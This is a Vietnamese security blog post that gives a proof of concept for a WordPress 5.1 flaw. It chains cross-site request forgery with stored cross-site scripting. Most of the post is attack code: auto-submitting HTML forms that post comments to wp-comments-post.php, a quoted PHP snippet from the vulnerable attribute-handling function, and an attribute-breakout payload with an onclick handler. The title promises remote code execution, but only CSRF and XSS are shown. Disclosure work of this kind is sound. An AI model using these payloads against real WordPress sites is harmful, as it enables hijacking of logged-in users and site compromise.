WordPress 5.1 CSRF + XSS + RCE – Poc - MTD SEC

MTD SEC

Chia Sẻ Để Thành Công

Home Top Ad

Post Top Ad

Thứ Tư, 5 tháng 6, 2019

WordPress 5.1 CSRF + XSS + RCE – Poc


Một vài ngày trước một lỗ hổng bảo mật wordpress trên bản 5.1 đã được phát hiện, sau khi có thông tin chúng tôi đã tiến hành nghiên cứu và kiểm tra.





CSRF





Chúng tôi phát hiện lỗ hổng csrf có thể thực thi theo kịch bản bên dưới





<html>
<form method="POST" action="https://sand-wordpress.5.1.manhtuong.net/wp-comments-post.php" id="iron">
<input type="hidden" name="comment_post_ID" value="1">
<input type="hidden" name="comment" value="PoC">
<input type="hidden" name="comment_parent" value="0">
</form>
<script type="text/javascript">
document.getElementById("iron").submit()</script>
</html>




Demo: sand-wordpress.5.1.manhtuong.net/poc.html





Chú ý hãy đăng nhập tạo tài khoản trước khi thử













Chức năng saneization này sẽ được bỏ qua để có được XSS Stored. 
Lỗi được tìm thấy trong một chức năng tồn tại trong /wp-includes/formatted.php vì lý do SEO thực hiện một cách xử lý khác với các thẻ html có thuộc tính rel .





if (!empty($atts['rel'])) {
// the processing of the 'rel' attribute happens here

$text = '';
foreach ($atts as $name => $value) {
$text .= $name . '="' . $value . '" ';
}
}
return '<a ' . $text . ' rel="' . $rel . '">';
}




WordPress tách các thuộc tính trong một mảng kết hợp và xác minh nếu rel tồn tại, nếu điều này tồn tại nó thực hiện một điều trị và sau đó quay trở lại tham gia các thuộc tính của thẻ. 
Vấn đề là nó gói gọn từng giá trị của thuộc tính giữa các dấu ngoặc kép để chúng ta có thể thoát khỏi một thuộc tính bằng cách đặt nó trong dấu ngoặc kép. 





<a title='ironhackers " onclick=alert(0) id="' rel="nofollow">




Chúng ta hãy xem nó kết hợp với CSRF . Đầu tiên chúng ta phải sửa đổi html độc hại của mình với tải trọng cần thiết.





<html>
<script>
function payload(){
return "<a title='ironhackers "+ '"'+ " onclick=alert(0) id="+'"'+"'"+' rel="nofollow">Poc'
}
</script>
<form method="POST" action="http://172.16.185.132/wordpress/wp-comments-post.php" id="iron">
<input type="hidden" name="comment_post_ID" value="1">
<input type="hidden" id="payload" name="comment" value="">
<input type="hidden" name="comment_parent" value="0">
</form>
<script type="text/javascript">
document.getElementById("payload").value=payload();
document.getElementById("iron").submit()</script>

</html>


























Không có nhận xét nào:

Đăng nhận xét

Post Top Ad